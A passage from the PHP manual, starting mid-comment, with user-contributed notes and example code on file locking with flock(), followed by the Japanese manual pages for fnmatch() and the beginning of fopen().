var_dump(flock($handle, LOCK_EX | LOCK_NB)); // false because flock use other php process
rename($lockFile, $lockFile.'.old'); // or unlink
var_dump(flock($handle, LOCK_EX | LOCK_NB)); // always true (!!!)
metamarkers at gmail dot com 19-Apr-2013 12:13
you can wrap a lock as an object to make it a scope-based lock. when the lock object is no longer referenced, like when it's unset or the owner returns, the destructor will call unlock.

this way you can just create a lock object and forget about it.

<?php
class lock {

    private $handle;

    public static function read ( $handle ) {
        $lock = new static();
        $lock->handle = $handle;
        return flock($handle,LOCK_SH) ? $lock : false;
    }

    public static function write ( $handle ) {
        $lock = new static();
        $lock->handle = $handle;
        return flock($handle,LOCK_EX) ? $lock : false;
    }

    public function __destruct ( ) {
        flock($this->handle,LOCK_UN);
    }

}
?>
steven at aubergine-it dot nl 20-Feb-2013 03:14
You cannot combine gzopen with flock; so:

<?php
$f = gzopen($file,'w');
$o = flock($f, LOCK_EX);
var_dump($o);
flush();
?>

Gives:

boolean false
mdessaintes at gmail dot com 28-Jun-2012 04:30
I just spent some time (again) to understand why a reading with file_get_contents() and file was returning me an empty string "" or array() whereas the file was existing and the contents not empty.

In fact, i was locking file when writing it (file_put_contents third arg) but not testing if file was locked when reading it (and the file was accessed a lot).

So, please pay attention that file_get_contents(), file() and maybe others php files functions are going to return empty data like if the contents of the file was an empty string.

To avoid this problem, you have to set a LOCK_SH on your file before reading it (and then waiting if locked).

Something like this :

<?php
public static function getContents($path, $waitIfLocked = true) {
    if(!file_exists($path)) {
        throw new Exception('File "'.$path.'" does not exists');
    }
    else {
        $fo = fopen($path, 'r');
        $locked = flock($fo, LOCK_SH, $waitIfLocked);

        if(!$locked) {
            return false;
        }
        else {
            $cts = file_get_contents($path);

            flock($fo, LOCK_UN);
            fclose($fo);

            return $cts;
        }
    }
}
?>

Code to test by yourself :

abc.txt :
someText

file.php :
<?php
$fo = fopen('abc.txt', 'r+');

flock($fo, LOCK_EX);
sleep(10);
flock($fo, LOCK_UN);
?>

file2.php :
<?php
var_dump(file_get_contents('abc.txt'));
var_dump(file('abc.txt'));
?>

Then launch file.php and switch to file2.php during the 10 seconds and see the difference before/after
ondrej dot nemecek at gmail dot com 15-Mar-2012 03:15
Notice: On NFS with NFS locking daemon you cannot open file for reading and than lock exklusively:

$rFopened  = fopen($sFile,'r');
$bResult   = flock($rFopened, LOCK_EX);

var_dump($bResult); // returns FALSE

Mixed fopen modes (a+, w+ ...) works with LOCK_EX fine.
mdessaintes at gmail dot com 22-Sep-2011 08:44
I just spend a long time to understand why write function returns me "0", on a basic file opening and then writing.

I discovered that if you use LOCK_SH and then you write something, that will not work :

<?php
$fp = fopen('file.txt', 'a');

flock($fp,LOCK_SH);

$written = fputs($fp, 'data');

var_dump($written); // 0 and file is not changed

fclose($fp);
?>
Evan Battaglia 05-Jan-2011 05:13
LOCK_NB seems to be checked and works fine in Windows, too, in PHP 5.3.3.

For instance, try concurrently running two instances of the following script (via the CLI). The second prints "Didn't quite get the lock..." as expected, whereas w/o the LOCK_NB flag, it just hangs.

<?php
$x = fopen("flocktest.txt", "w");
if (flock($x, LOCK_EX|LOCK_NB)) {
    print "No problems, I got the lock, now I'm going to sit on it.";
    while (true)
        sleep(5);
} else {
    print "Didn't quite get the lock. Quitting now. Good night.";
}
fclose($x);
?>
holdoffhunger at gmail dot com 03-Dec-2010 07:53
I've been having trouble getting Flock to work when I read a file, delete it, and then output slightly changed information back to the same location.  When deleting with Unlink, there's a very brief period of time where no file exists.  But, if you do an fopen using the "w" mode, it keeps the file in existence, but deletes all of its data when you go to write to it.  That way, the file never actually disappears, and another script accessing the same file with flock won't get a "file doesn't exist" error.
webmaster at bitpush dot com 11-Nov-2010 08:31
Regarding the change in PHP 5.3.2 with locked files:

Without having studied the PHP source code in detail, the situation appears to be as follows when the PHP function fclose() is called:

Before 5.3.2 PHP would check if the file was locked, then release the lock, and then close the file.

From 5.3.2 PHP just closes the file.

But note, that the operating system releases the lock automatically when the file is closed. Therefore a call to fclose() STILL releases the lock (this is tested with PHP 5.3.2, Linux, x64).
mirco dot babin at gmail dot com 15-Sep-2010 10:10
Because:
1) flock() is not safe if multiple php sessions are simultaneously locking.
2) fopen( , 'a') is not safe if multiple php sessions are simultaneously appending.
3) usleep and sleep are known for having problems.

I wrote the Weblog function, it's purpose is to append a line to logging. This function handles the concurrency as follows:
- Try to create a lockfile named: $directory . date('Ymd') . $logfile . 1 . lock
- If this fails, try to create lockfile named: $directory . date('Ymd') . $logfile . 2 . lock
- etc. After 100 tries return false.

- When the lockfile is acquired the file named: $directory.date('Ymd').$logfile.1 (or .2 or .3 or .25) is opened or created.
- If created the a "extended log file" header is written.
- Write out the line.
- Close the flie and if created set the correct access rights. (I had some problems creating files on a webserver, I did not see them when I opened a FTP session to the webdirectory. The chmod did the trick for me).

- Remove the lockfile.

There is only one drawback, multiple logfiles are created.
e.g. (executed on 15 september 2010)
    Weblog('./' , 'visit', 'Somebody requested the index page');
Could lead to 100 files, depending how many concurrent php sessions are simultaneously trying to append a logline:
./20100915visit.1
./20100915visit.2
./20100915visit.3
./20100915visit.4
...
./20100915visit.100

This function is donated to the public domain. Maybe you can give me some credit by leaving in the author comment, but it is not required. You may modify this as you wish.
(This function was inspired by the function m_lock_file presented by Kuzma dot Deretuke at gmail dot com)

<?php
function Weblog($directory, $logfile, $message)
{
    // Created 15 september 2010: Mirco Babin
    $curtime = time();
    $logfile = date('Ymd',$curtime) . $logfile;

    if (!isset($directory) || $directory === false)
        $directory = './';
    if (substr($directory,-1) !== '/')
        $directory = $directory . '/';

    $count = 1;
    while(1)
    {
        $logfilename = $directory . $logfile . '.' . $count;

        $lockfile = $logfilename . '.lock';
        $lockhandle = false;
        if (!file_exists($lockfile) || @unlink($lockfile))
            $lockhandle = @fopen($lockfile, 'xb');
        if ($lockhandle !== false) break;

        $count++;
        if ($count > 100) return false;
    }

    if (file_exists($logfilename))
        {
            $created   = false;
            $loghandle = @fopen($logfilename, 'ab');
        }
    else
        {
            $loghandle = @fopen($logfilename, 'xb');
            if ($loghandle !== false)
                {
                    $created = true;

                    $str = '#version: 1.0' . "\r\n" .
                           '#Fields: date time c-ip x-msg' . "\r\n";
                    fwrite($loghandle,$str);
                }
            }

    if ($loghandle !== false)
        {
            $str = date('Y-m-d',$curtime) . "\t" .
                   date('H:i:s', $curtime) .  "\t" .
                   (isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : '-') . "\t" .
                   '"' . str_replace('"', '""', $message) . '"' . "\r\n";
            fwrite($loghandle,$str);

            fclose($loghandle);

            if ($created) chmod($logfilename,0644); // Read and write for owner, read for everybody else

            $result = true;
        }
    else
        {
            $result = false;
        }

    fclose($lockhandle);
    @unlink($lockfile);

    return $result;
}
?>
dejangex at yahoo dot com 21-Dec-2009 01:47
Actually, there is no use of the while loop with the usleep. My testing has revealed the following:

<?php
//some code here
flock($file_handle, LOCK_EX) // <- Your code will pause here untill you get the lock for indefinite amount of time or till your script times out
//some code here
?>

This will actually check for the lock without pausing and then it will sleep:

<?php
//code here
while (!flock($file_handle, LOCK_EX | LOCK_NB)) {
 //Lock not acquired, try again in:
 usleep(round(rand(0, 100)*1000)) //0-100 miliseconds
}
//lock acquired
//rest of the code
?>

The problem is, if you have a busy site and a lots of locking, the while loop may not acquire the lock for some time. Locking without LOCK_NB is much more persistent and it will wait for the lock for as long as it takes. It is almose guaranteed that the file will be locked, unless the script times out or something.

Consider these two scripts: 1st one is ran, and the second one is ran 5 seconds after the first.

<?php
//1st script
$file_handle = fopen('file.test', 'r+');
flock($file_handle, LOCK_EX); //lock the file
sleep(10); //sleep 10 seconds
fclose($file_handle); //close and unlock the file
?>

<?php
//2nd script
$file_handle = fopen('file.test', 'r+');
flock($file_handle, LOCK_EX); //lock the file
fclose($file_handle); //close and unlock the file
?>

If you run 1st and then the 2nd script,the 2nd script will wait untill the 1st has finished. As soon as the first script finishes, the second one will acquire the lock and finish the execution. If you use flock($file_handle, LOCK_EX | LOCK_NB) in the 2nd script while the 1st script is running, it would finish execution immediately and you would not get the lock.
daniel AT brightbyte DOT de 08-Sep-2009 12:49
flock on Solaris is slightly strange: it will fail if you try to get an exclusive lock on a file not opened for writing. That is, for reading files, you MUST use a shared lock. From the Solaris man page for flock:

"Read permission is required on a file to obtain a shared lock, and write  permission is required to obtain an exclusive lock."

In contrast, this is from the Linux man page for flock:

"The mode used to open the file doesn't matter to flock."

So, beware...
Kuzma dot Deretuke at gmail dot com 06-Aug-2009 04:31
I use exclusive writing to replace standard flock():

<?php
// get/set lock file name
function m_lock_file( $format = null ) {
    static $file_format = './%s.lock';

    if ($format !== null) {
        $file_format = $format;
    }

    return $file_format;
}

// acquire/check/release lock
function m_lock( $lockId, $acquire = null ) {
    static $handlers = array();

    if (is_bool($acquire)) {
        $file = sprintf(m_lock_file(), md5($lockId), $lockId);
    }

    if ($acquire === false) {
        if (isset($handlers[$lockId])) {
            @fclose($handlers[$lockId]);
            @unlink($file);
            unset($handlers[$lockId]);
        } else {
            trigger_error("Lock '$lockId' is already unlocked", E_USER_WARNING);
        }
    }

    if ($acquire === true) {
        if (!isset($handlers[$lockId])) {
            $handler = false;
            $count = 100;
            do {
                if (!file_exists($file) || @unlink($file)) {
                    $handler = @fopen($file, "x");
                }
                if (false === $handler) {
                    usleep(10000);
                } else {
                    $handlers[$lockId] = $handler;
                }
            } while (false === $handler && $count-- > 0);
        } else {
            trigger_error("Lock '$lockId' is already locked", E_USER_WARNING);
        }
    }

    return isset($handlers[$lockId]);
}
?>

Usage sample:

<?php
$lockId = "qq";

m_lock($lockId, true);
if (m_lock($lockId)) {
    echo "locked";

    // here you can perform any thread-safe operations
    usleep(300 * 1000);

    m_lock($lockId, false);
} else {
    echo "not locked";
}

?>
Fernando Gabrieli fgabrieli at gmail 12-Feb-2009 11:06
When writing to a file, you should avoid using w+ because it would erase the contents of the file before locking

If you need to write the complete file again you could use the following instead:

<?php
$fp = fopen('yourfile.txt', 'a') ;

if (flock($fp, LOCK_EX)) {
    ftruncate($fp, 0) ; // <-- this will erase the contents such as 'w+'

    fputs($fp, 'test string') ;

    flock($fp, LOCK_UN) ;
}

fclose($fp) ;
?>

Best,
Fernando Gabrieli
tinymountain at nospam dot gmail dot com 31-Jul-2008 01:36
Here's a handy class to allow retrying a write with flock a set number of times. If it can't flock, it will sleep for a brief random interval and try again. If you have a lot of concurrent writes going on, you can use it to avoid data corruption.

<?php
class SafeWriter
{
    // suggested mode 'a' for writing to the end of the file
    public static function writeData($path, $mode, $data)
    {
        $fp = fopen($path, $mode);
        $retries = 0;
        $max_retries = 100;

        if (!$fp) {
            // failure
            return false;
        }

        // keep trying to get a lock as long as possible
        do {
            if ($retries > 0) {
                usleep(rand(1, 10000));
            }
            $retries += 1;
        } while (!flock($fp, LOCK_EX) and $retries <= $max_retries);

        // couldn't get the lock, give up
        if ($retries == $max_retries) {
            // failure
            return false;
        }

        // got the lock, write the data
        fwrite($fp, "$data\n");
        // release the lock
        flock($fp, LOCK_UN);
        fclose($fp);
        // success
        return true;
    }
}
?>
John dot wellesz at teaser dot fr 14-Apr-2008 05:59
I just want to add a note about making atomic lock on NFS, there is only two
ways:

- 1 (the most robust but the most complicate) - It's to use link() to create a
  hard link to a file you want to lock (on the same FS of course).
  (On most NFS implementations, Link() is atomic)

Once you created a hard link (not a symbolic link), with a unique randomly
generated name, call stat() on it and count the number of link (nlink), if there
is only 2 then the file is locked.

If there is more than two you have to unlink() the link you just created and
create a new one with a new unique name (else NFS will use its cache and stat
will return wrong data) then call stat() on the new link and test the number of
links again, repeat this operation until you get the lock.

You have to use usleep() between the link() attempts with a fixed + random
sleep value to avoid dead lock situations (link() and unlink() may be atomic
but not instantaneous)

Also note than when you unlink a file through NFS, if NFS think that the file
is still in use, it will create a .nfs link to this file until it realizes the
file is no longer in use... A wrong timing could generate thousands of those
files and a deadlock situation.  Because of this when a deadlock situation
occurs or if your stat() command returns a very high number of links, you have
to look for .nfs file in the same directory you created your links and unlink
all the .nfs file you find (sometimes NFS take its time to remove them)

- 2 (the simplest) - the second method is to use a lock server and lock daemons
  on each client that will forward lock request to the server... (this is more
dangerous than the first method because the daemons may be killed...)

Here is for reference the function I created to make atomic locks through NFS
(this function is in production since at least 4 years now), it's just for
reference because it uses many external functions to do its job but you can see
the principle:

http://pastey.net/85793
admin ifyouwantblood de 23-Dec-2007 07:05
besides from what the manual says about locking a file opendend in w or w+ and using a special lock file for these cases, you should simply truncate the file yourself with ftruncate() after writing:

<?php

$data='some data';
$handle=fopen('file','r+');
flock($handle,LOCK_EX);
fwrite($handle,$data);
ftruncate($handle,ftell($handle));
flock($handle,LOCK_UN);
fclose($handle);

?>

now the file will have the size of $data without opening the file in w mode but with a lock on the file.

to the previous writers jpriebe and mallory:
of course the lock is lost in this case, but thats simply because the file is closed by PHP. and closing the file means unlocking it (same as when you use fclose() yourself).
mallory dot dessaintes at gmail dot com 19-Dec-2007 07:56
I have noticed that if you change the value of your fopen ressource, the lock is working no longer..

<?php

$fo = fopen('lockfile.txt','a');

flock($fo,LOCK_EX);

$fo = '';

// Lock is disable

?>
candide at idees-et-solutions dot fr 07-Dec-2007 03:48
Just a comment about the last method to lock files using filemtime().
What if   filemtime($fp[1]) == $fp[3]   because somebody modified the file less than 1s after the value of $fp[3] was picked up?
Then this modification will be lost...?

This system to lock files is made to prevent problems when two modifications are so close that they can interfere, so the case "less than 1s" will often happen?

However, lose some modifications is better than spoil all the file...
Antti Haapala 06-Oct-2007 04:30
Further information on flock: The system is not restarted if a signal is delivered to the process, so flock will happily return false in case of SIGALRM, SIGFPE or something else.
Antti Haapala 06-Oct-2007 03:41
The supplied documentation is vague, ambiguous and lacking, and the user comments contain erroneous information! The flock function follows the semantics of the Unix system call bearing the same name. Flock utilizes ADVISORY locking only; that is, other processes may ignore the lock completely; it only affects those that call the flock call.

LOCK_SH means SHARED LOCK. Any number of processes MAY HAVE A SHARED LOCK simultaneously. It is commonly called a reader lock.

LOCK_EX means EXCLUSIVE LOCK. Only a single process may possess an exclusive lock to a given file at a time.

If the file has been LOCKED with LOCK_SH in another process, flock with LOCK_SH will SUCCEED. flock with LOCK_EX will BLOCK UNTIL ALL READER LOCKS HAVE BEEN RELEASED.

If the file has been locked with LOCK_EX in another process, the CALL WILL BLOCK UNTIL ALL OTHER LOCKS have been released.

If however, you call flock on a file on which you possess the lock, it will try to change it. So: flock(LOCK_EX) followed by flock(LOCK_SH) will get you a SHARED lock, not "read-write" lock.
Will Reiher 27-Mar-2007 04:52
I've been testing a few custom file access functions but I always liked the simplicity of file_get_contents(). Of course it doesn't seem to respect any file locks created with flock(). I created the function below to wrap around file_get_contents() so it can support locked files. It's an odd way of doing it but it works for me.

<?php
function flock_get_contents($filename){

    $return = FALSE;

    if(is_string($filename) && !empty($filename)){
        if(is_readable($filename)){
            if($handle = @fopen($filename, 'r')){
                while(!$return){
                    if(flock($handle, LOCK_SH)){
                        if($return = file_get_contents($filename)){
                            flock($handle, LOCK_UN);
                        }
                    }
                }
                fclose($handle);
            }
        }
    }

    return $return;
}
?>
jerry at gh33 dot org 14-Aug-2006 09:30
Indeed, flock() will not work reliably when the underlying filesystem is NFS. The proper way to perform file locking, in this case, would be to use PHP's link() function. From the Linux man page of open():

       O_EXCL When used with O_CREAT, if the file  already  exists  it  is  an
              error  and  the open will fail. In this context, a symbolic link
              exists, regardless of where its points to.  O_EXCL is broken  on
              NFS file systems, programs which rely on it for performing lock-
              ing tasks will contain a race condition.  The solution for  per-
              forming  atomic  file  locking  using  a lockfile is to create a
              unique file on the same fs  (e.g.,  incorporating  hostname  and
              pid),  use  link(2)  to  make  a link to the lockfile. If link()
              returns 0, the lock is successful.  Otherwise,  use  stat(2)  on
              the  unique  file to check if its link count has increased to 2,
              in which case the lock is also successful.
marc dot vanwoerkom at fernuni-hagen dot de 15-Feb-2006 02:00
I ran into a loop because I just checked for true (= you got the lock) as return value of flock() and tried again when I got a false.

<?php
    function naive_wait_for_file($fp) {
        while (true) {
            if (flock($fp, LOCK_EX)) {
                return;
            }
            $k = rand(0, 20);
            usleep(round($k * 10000));  # k * 10ms
        }
    }
?>

Unfortunately in one case the $fp I put in was invalid, so I always got false and got stuck.
Lesson: check if your $fp is valid before entering the loop, or look closer if you get a false.

<?php
    function wait_for_file($fp) {
        if ($fp === false) {
            return;
        }
        while (true) {
            if (flock($fp, LOCK_EX)) {
                return;
            }
            $k = rand(0, 20);
            usleep(round($k * 10000));  # k * 10ms
        }
    }
?>
damasta at onwebworx dot net 09-Aug-2005 08:28
just wanted to say that you will most likely fail if you use a separate lock file together with register_shutdown_function.

my script did some different actions... resizing pictures, rotating them and this stuff. it needed a "database" file to get the correct file locations. this database file also stored some flags. and of course the script had to save that file when it was done.

because of my script exited on many different points depending on the action i used register_shutdown_function to save the file. it wanted to use a locking system to be sure the script doesn't overwrite the data another process had written into it some microseconds before. i was running on windows 2000 and apache2 on my developing machine, and flock always returned true for some reason... so i used a separate lock file. the script looked for it at the beginning and exited if it was found. otherwise it created it. but this file had to be deleted at the end. i put the unlink command into the registered shutdown-function but it never deleted the file. i tried clearstatcache and some other stuff but it didn't help.

maybe this helps someone.
rudy dot metzger at pareto dot nl 08-Sep-2004 03:31
Like a user already noted, most Linux kernels (at least the Redhat ones) will return false, even if you locked the file. This is because the lock is only ADVISORY (you can check that in /proc/locks). What you have to do there is to evalute the 3rd parameter of flock(), $eWouldBlock. See for an example below. Note however that if you
lock the file in non blocking mode, flock() will work as expected (and blocks the script).

<?php

$fp = fopen( "/var/lock/process.pid", "a" );
if ( !$fp || !flock($fp,LOCK_EX|LOCK_NB,$eWouldBlock) || $eWouldBlock ) {
  fputs( STDERR, "Failed to acquire lock!\n" );
  exit;
}

// do your work here

fclose( $fp );
unlink( "/var/lock/process.pid" );

?>
Joby <god at NOSPAMPLEASE dot greentinted dot net> 30-Jun-2004 05:59
I'm thinking that a good way to ensure that no data is lost would be to create a buffer directory that could store the instructions for what is to be written to a file, then whenever the file is decidedly unlocked, a single execution could loop through every file in that directory and apply the indicated changes to the file.

I'm working on writing this for a flat-file based database.  The way it works is, whenever a command is issued (addline, removeline, editline), the command is stored in a flat file stored in a folder named a shortened version of the filename to be edited and named by the time and a random number.  In that file is a standardized set of commands that define what is to be done to what file (the likes of "file: SecuraLog/index_uid" new line "editline: 14").

Each execution will check every folder in that directory for files and a certain amount of time (I don't know how long, maybe 1-2 seconds) is spent making pending changes to unlocked files.  This way no changes will be lost (i.e. person 1 makes a change at the same time as person 2, and person 1 loses the race by just enough to have their changed version of the file overwritten by person 2's version) and there will be no problems with opening an empty open file.
Glip 29-Jan-2004 10:39
If you don't want use secondary lock file while truncating, try this:

<?php

$fp = fopen("/tmp/lock.txt", "a+");

if (flock($fp, LOCK_EX)) { // do an exclusive lock
   ftruncate($fp, 0);
   fwrite($fp, "Write something here\n");
   flock($fp, LOCK_UN); // release the lock
} else {
   echo "Couldn't lock the file !";
}

fclose($fp);

?>
joel[at_sign]purerave.com 27-May-2003 06:12
I have found that if you open a currently locked file with 'w' or 'w+' ("file pointer at the beginning of the file and truncate the file to zero length")  then it will not truncate the file when the lock is released and the file available.

Example I used to test it:
<?php
// a.php
$fp = fopen( "/tmp/lock.txt", "w+" );
flock( $fp, LOCK_EX ); // exclusive lock

$steps = 10;
// write to the file
for ($i=0; $i< $steps; $i++) {
    fwrite($fp, 'a '.time().' test '. $i."\n");
    sleep(1);
}
flock( $fp, LOCK_UN ); // release the lock
fclose( $fp );
?>

----------
<?php
// b.php

$fp = fopen( "/tmp/lock.txt", "w+" );
flock( $fp, LOCK_EX ); // exclusive lock

// ftruncate($fp, 0) is needed here! <----

$steps = 5;
// write to the file
for ($i=0; $i< $steps; $i++) {
    fwrite($fp, 'b '.time().' test '. $i."\n");
    sleep(1);
}
flock( $fp, LOCK_UN ); // release the lock
fclose( $fp );
?>

Loading a.php then loading b.php right after will result in:
b 1054075769 test 0
b 1054075770 test 1
b 1054075771 test 2
b 1054075772 test 3
b 1054075773 test 4
a 1054075764 test 5
a 1054075765 test 6
a 1054075766 test 7
a 1054075767 test 8
a 1054075768 test 9

As you can see, b.php does not truncate the file as the w+ would suggest if the file were instantly available. But only moves the pointer to the begining of the file. If b.php was loaded after a.php finished then there would be no "a ..." lines in the file, since it would be truncated.

To fix this you have to add ftruncate($fp, 0) right after the flock.

'r+' and 'a' seem to work fine, though.
geoff at message dot hu 06-Aug-2002 01:10
You should lock the file _before_ opening it, and unlock _after_ closing it. Othervise an another process might be able to access the file between the lock/unlock and the open/close operation.


ファイル名がパターンにマッチするか調べる

  • ≪ flock
  • fopen ≫
  • PHP Manual
  • ファイルシステム 関数
  • ファイル名がパターンにマッチするか調べる

fnmatch

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

fnmatch — ファイル名がパターンにマッチするか調べる

説明

fnmatch ( string $pattern , string $filename , int $flags = 0 ) : bool

fnmatch()はfilename で指定された文字列が pattern で指定されたシェルワイルドカードにマッチするかどうかチェックします。

パラメータ

pattern

シェルのワイルドカードパターン。

filename

調べたい文字列。この機能は特にファイル名のマッチに便利ですが、 通常の文字列に関しても使用できます。

一般的なユーザーにとって、シェルパターンやあるいは少なくとも '?'と'*'によるワイルドカードのほうが 慣れていると思われます。そのため、 preg_match() の代わりに fnmatch() をフロントエンドの検索表現として使うことは、 プログラマではないユーザーにとってより便利でしょう。

flags

flags の値は、以下のフラグを 論理 OR (|) 演算子 で連結した任意の組み合わせです。

fnmatch() で使えるフラグ
フラグ | 説明
FNM_NOESCAPE | バックスラッシュのエスケープを無効にする。
FNM_PATHNAME | 文字列内のスラッシュは、指定したパターン内のスラッシュにのみマッチする。
FNM_PERIOD | 文字列の先頭のピリオドは、指定したパターン内のピリオドにマッチしなければならない。
FNM_CASEFOLD | 大文字小文字を区別しないマッチ。GNU 拡張の一部。

返り値

マッチした場合に true、それ以外の場合に false を返します。

例

例1 シェルのワイルドカードパターンによる色の名前のチェック

<?php
if (fnmatch("*gr[ae]y", $color)) {
  echo "some form of gray ...";
}
?>

注意

警告

今のところ、この機能は POSIX に準拠していないシステムで利用できません (ただし、Windows では利用できます)。

参考

  • glob() - パターンにマッチするパス名を探す
  • preg_match() - 正規表現によるマッチングを行う
  • sscanf() - フォーマット文字列に基づき入力を処理する
  • printf() - フォーマット済みの文字列を出力する
  • sprintf() - フォーマットされた文字列を返す

User Contributed Notes

bwilcock at gmail dot com 13-Nov-2013 03:49
fnmatch is not 100% reliable. Bug 14185 is still open and may or may not have been patched.

In certain wildcard circumstance fnmatch("*needle*", $haystack, match) returns false intermittantly

However stripos or preg returns a "find".
bernd dot ebert at gmx dot net 13-Jul-2012 11:21
There is a problem within the  pcre_fnmatch-Function concerning backslashes. Those will be masked by preq_quote and ADDITONALLY by the strtr if FN_NOESCAPE is not set -> something like "*a(*" will finally result in "#^.*a\\(.*$#". Note the double backslash which effectively does NOT mask the "(" correctly.

Since preq_quote always matches a backslash I don't think that this'll work with using preg_quote at all.
me at rowanlewis dot com 30-Sep-2010 10:58
Here's a definitive solution, which supports negative character classes and the four documented flags.

<?php

    if (!function_exists('fnmatch')) {
        define('FNM_PATHNAME', 1);
        define('FNM_NOESCAPE', 2);
        define('FNM_PERIOD', 4);
        define('FNM_CASEFOLD', 16);

        function fnmatch($pattern, $string, $flags = 0) {
            return pcre_fnmatch($pattern, $string, $flags);
        }
    }

    function pcre_fnmatch($pattern, $string, $flags = 0) {
        $modifiers = null;
        $transforms = array(
            '\*'    => '.*',
            '\?'    => '.',
            '\[\!'    => '[^',
            '\['    => '[',
            '\]'    => ']',
            '\.'    => '\.',
            '\\'    => '\\\\'
        );

        // Forward slash in string must be in pattern:
        if ($flags & FNM_PATHNAME) {
            $transforms['\*'] = '[^/]*';
        }

        // Back slash should not be escaped:
        if ($flags & FNM_NOESCAPE) {
            unset($transforms['\\']);
        }

        // Perform case insensitive match:
        if ($flags & FNM_CASEFOLD) {
            $modifiers .= 'i';
        }

        // Period at start must be the same as pattern:
        if ($flags & FNM_PERIOD) {
            if (strpos($string, '.') === 0 && strpos($pattern, '.') !== 0) return false;
        }

        $pattern = '#^'
            . strtr(preg_quote($pattern, '#'), $transforms)
            . '$#'
            . $modifiers;

        return (boolean)preg_match($pattern, $string);
    }

?>

This probably needs further testing, but it seems to function identically to the native fnmatch implementation.
Sinured 19-Mar-2008 01:04
An addition to my previous note: My statement regarding the FNM_* constants was wrong. They are available on POSIX-compliant systems (in other words, if fnmatch() is defined).
theboydanny at gmail dot com 29-Nov-2007 10:31
About the windows compat functions below:
I needed fnmatch for a application that had to work on Windows, took a look here and tested both. Jk's works for me, soywiz didn't (on WinXPSP2, PHP 5.2.3).
The only difference between them is addcslashes (soywiz) instead of preg_quote (jk). They _should_ both work, but for some reason soywiz's didn't for me. So YMMV.
However, to make JK's fnmatch() work with the example in the documentation, you also have to strtr the [ and ] in $pattern.
<?php
$pattern = strtr(preg_quote($pattern, '#'), array('\*' => '.*', '\?' => '.', '\[' => '[', '\]' => ']'));
?>
And thanks for the functions, guys.
Sinured 30-Jul-2007 10:14
Possible flags (scratched out of fnmatch.h):
...::...

FNM_PATHNAME:
> Slash in $string only matches slash in $pattern.

FNM_PERIOD:
> Leading period in $string must be exactly matched by period in $pattern.

FNM_NOESCAPE:
> Disable backslash escaping.

FNM_NOSYS:
> Obsolescent.

FNM_FILE_NAME:
> Alias of FNM_PATHNAME.

FNM_LEADING_DIR:
> From fnmatch.h: /* Ignore `/...' after a match.  */

FNM_CASEFOLD:
> Caseless match.

Since they're appearing in file.c, but are not available in PHP, we'll have to define them ourselves:
<?php
define('FNM_PATHNAME', 1);
define('FNM_PERIOD', 4);
define('FNM_NOESCAPE', 2);
// GNU extensions
define('FNM_FILE_NAME', FNM_PATHNAME);
define('FNM_LEADING_DIR', 8);
define('FNM_CASEFOLD', 16);
?>

I didn't test any of these except casefold, which worked for me.
Frederik Krautwald 12-Jun-2007 10:30
soywiz's function still doesn't seem to work -- at least not with PHP 5.2.3 on Windows -- but jk's does.
jk at ricochetsolutions dot com 13-Dec-2006 05:39
soywiz's function didnt seem to work for me, but this did.

<?php
if(!function_exists('fnmatch')) {

    function fnmatch($pattern, $string) {
        return preg_match("#^".strtr(preg_quote($pattern, '#'), array('\*' => '.*', '\?' => '.'))."$#i", $string);
    } // end

} // end if
?>
phlipping at yahoo dot com 06-Aug-2003 03:59
you couls also try this function that I wrote before I found fnmatch:

function WildToReg($str)
{
  $s = "";
  for ($i = 0; $i < strlen($str); $i++)
  {
   $c = $str{$i};
   if ($c =='?')
    $s .= '.'; // any character
   else if ($c == '*')
    $s .= '.*'; // 0 or more any characters
   else if ($c == '[' || $c == ']')
    $s .= $c;  // one of characters within []
   else
    $s .= '\\' . $c;
  }
  $s = '^' . $s . '$';

  //trim redundant ^ or $
  //eg ^.*\.txt$ matches exactly the same as \.txt$
  if (substr($s,0,3) == "^.*")
   $s = substr($s,3);
  if (substr($s,-3,3) == ".*$")
   $s = substr($s,0,-3);
  return $s;
}

if (ereg(WildToReg("*.txt"), $fn))
  print "$fn is a text file";
else
  print "$fn is not a text file";


ファイルまたは URL をオープンする

  • ≪ fnmatch
  • fpassthru ≫
  • PHP Manual
  • ファイルシステム 関数
  • ファイルまたは URL をオープンする

fopen

(PHP 4, PHP 5, PHP 7, PHP 8)

fopen — ファイルまたは URL をオープンする

説明

fopen ( string $filename , string $mode , bool $use_include_path = false , resource $context = ? ) : resource

fopen() は、filename で指定されたリソースをストリームに結び付けます。

パラメータ

filename

filename が "スキーム://..." の形式である場合、 それは URL とみなされ、PHP はそのプロトコルのハンドラ (ラッパーともいいます) を探します。 もしもそのプロトコルに対するラッパーが登録されていない場合、 PHP はスクリプトに潜在的な問題があることを示す NOTICE を発行したうえで、 filename を通常のファイルとみなしてオープンすることを試みます。

PHP は、filename がローカルのファイルを示しているとみなすと、 そのファイルへのストリームをオープンします。 そのファイルはPHPからアクセスできるものでなければなりません。 ファイルのパーミッションが (パラメータで指定された) アクセスを許可されているかどうか確認する必要があります。 open_basedir を有効にしている場合は、更なるアクセス制限が加えられることがあります。

filename が登録されているプロトコルを示していると PHP が判断し、かつそのプロトコルがネットワーク URL として登録されていれば、 PHP は allow_url_fopen が有効となっているかどうかチェックします。 もしこれがオフになっていると、PHP は warning を発行し fopen は失敗します。

注意:

サポートされているプロトコルのリストは サポートするプロトコル/ラッパー にあります。 いくつかのプロトコル (wrappersにも関連する) は context かつ/または php.ini のオプションをサポートします。 使用するプロトコルについてセットされるオプションのリストについては、 それぞれのページを見てください (例えば、 php.ini 上の user_agent の値は http ラッパーが使用します)。

Windows 環境では、ファイルパスで用いる全てのバックスラッシュを エスケープするかフォワードスラッシュを使用することに注意してください。

<?php
$handle = fopen("c:\\folder\\resource.txt", "r");
?>

mode

パラメータ mode は、 そのストリームに要するアクセス形式を指定します。 この指定は、下表のうちのどれかとなります。

fopen() で使用可能な mode のリスト
mode | 説明
'r' | 読み込みのみでオープンします。ファイルポインタをファイルの先頭に置きます。
'r+' | 読み込み／書き出し用にオープンします。 ファイルポインタをファイルの先頭に置きます。
'w' | 書き出しのみでオープンします。ファイルポインタをファイルの先頭に置き、 ファイルサイズをゼロにします。ファイルが存在しない場合には、 作成を試みます。
'w+' | 読み込み／書き出し用でオープンします。 ファイルポインタをファイルの先頭に置き、 ファイルサイズをゼロにします。 ファイルが存在しない場合には、作成を試みます。
'a' | 書き出し用のみでオープンします。ファイルポインタをファイルの終端に置きます。 ファイルが存在しない場合には、作成を試みます。 このモードは、fseek() では何の効果もありません。 書き込みは、常に追記となります。
